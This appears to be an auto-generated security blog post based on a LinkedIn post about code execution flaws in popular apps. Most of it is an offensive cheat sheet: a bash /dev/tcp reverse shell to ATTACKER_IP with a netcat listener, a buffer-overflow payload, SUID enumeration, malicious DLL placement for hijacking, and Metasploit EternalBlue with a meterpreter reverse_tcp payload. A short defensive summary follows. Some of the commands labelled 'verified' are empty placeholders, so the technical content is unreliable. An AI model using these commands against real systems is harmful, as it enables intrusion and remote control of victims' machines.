https://lnkd.in/gyWyGPaB

Practice Verified Codes and Commands:

1. Exploiting Vulnerabilities in Apps (Example: Buffer Overflow)

<h1>Compile a vulnerable C program</h1>

gcc -fno-stack-protector -z execstack -o vuln vuln.c

<h1>Run the program with a payload</h1>

./vuln $(python -c 'print "A" * 256 + "\x90\x90\x90\x90"') 

2. Reverse Shell Using Netcat

<h1>On the attacker's machine</h1>

nc -lvp 4444

<h1>On the victim's machine</h1>

bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' 

3. Exploiting Weak Permissions in Linux

<h1>Check for SUID binaries</h1>

find / -perm -4000 -type f 2>/dev/null

<h1>Exploit a misconfigured binary</h1>

./vulnerable_bin 

4. Windows Command for Exploiting DLL Hijacking

[cmd]

Place malicious DLL in the same directory as the vulnerable app

copy malicious.dll C:\Path\To\App\

Run the vulnerable application

start C:\Path\To\App\vulnerable_app.exe
[/cmd]

5. Using Metasploit for Exploitation

<h1>Start Metasploit</h1>

msfconsole

<h1>Search for exploits</h1>

search exploit_name

<h1>Use an exploit</h1>

use exploit/windows/smb/ms17_010_eternalblue

<h1>Set payload and options</h1>

set payload windows/x64/meterpreter/reverse_tcp 
set RHOSTS target_ip 
exploit 

What Undercode Say

In the realm of cybersecurity, understanding how to exploit vulnerabilities is crucial for both offensive and defensive purposes. The article highlights the potential risks of code execution vulnerabilities in popular apps, which can affect millions of users. By leveraging tools like Metasploit, Netcat, and basic scripting, attackers can exploit weak permissions, buffer overflows, and DLL hijacking to gain unauthorized access.

For defenders, it is essential to regularly audit systems for misconfigurations, apply patches promptly, and monitor for unusual activity. Commands like `find / -perm -4000 -type f` in Linux help identify SUID binaries that could be exploited, while Windows administrators should use tools like Sysinternals to detect DLL hijacking.

Additionally, understanding reverse shells and payload delivery mechanisms is vital. For instance, the Netcat reverse shell command (bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1') demonstrates how attackers can establish a backdoor. Defenders should use intrusion detection systems (IDS) and firewalls to block such attempts.

Finally, the article underscores the importance of threat intelligence in identifying and mitigating risks. Tools like SOCRadar® provide extended threat intelligence, helping organizations stay ahead of attackers. By combining technical skills with strategic insights, cybersecurity professionals can protect systems and data effectively.

For further reading on exploit development and mitigation, visit:
– OWASP Top Ten Vulnerabilities
– Metasploit Unleashed
– Linux Security Auditing Tools

References:

initially reported by: https://www.linkedin.com/posts/huzeyfe_how-to-gain-code-execution-on-millions-of-activity-7301965959148277761-QUJq – Hackers Feeds
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